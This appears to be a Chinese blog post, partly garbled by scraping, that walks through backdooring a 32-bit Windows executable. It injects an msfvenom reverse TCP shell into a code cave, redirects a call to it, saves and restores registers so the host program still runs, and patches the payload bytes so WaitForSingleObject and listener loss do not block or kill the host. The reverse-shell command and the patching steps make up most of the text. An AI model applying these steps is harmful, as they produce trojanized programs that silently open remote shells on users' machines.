在文章Backdooring PE Files with Shellcode中介紹了一種在正常程序中注入shellcode的方式,讓程序之前的邏輯照常可以正常運行,下面復現一下並解決幾個小問題。shell
這裏直接編譯一個32位的HelloWorld程序爲例:windows
#include <stdio.h> int main() { puts("Hello World!"); return 0; }
編譯後的exe,能夠使用CFF Explorer
查看相關信息。tcp
少繞彎子,補充一下通用步驟:工具
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=443 | hexdump -C
0x004A0000
call 0x00471B50
,覆蓋成jmp 0x004A0000
0x00491EF8
,後面恢復程序正常邏輯的時候要用pushad
和pushfd
指令覆蓋開頭2個字節pushfd
以後的ESP
值,例如0x010FFDBC
,以及shellcode執行結束時ESP
值,例如0x010FFBB8
,發現少了0x204
add esp, 0x204
popfd
和popad
指令,和push
順序相反popad
以後jmp 0x00491EF8
指令,跳到第7步記錄位置注意三點:佈局
經過調試將發生阻塞的操做進行nop,例如WaitForSingleObject
,msf
的payload須要將4e 56 46 ff
替換成80 56 80 ff
線程
原來給WaitForSingleObject
傳的參數是-1
,會阻塞線程,想辦法改爲0就行,這裏將dec esi
操做nop
掉了,push esi
就是03d
應該是檢查服務端失聯的狀況下直接終止程序了,經過調試找到終止位置nop掉便可調試
除了參考文章中提到的經過文件偏移計算,還能夠直接利用x32dbg的內存佈局直接查看code
省略。。。blog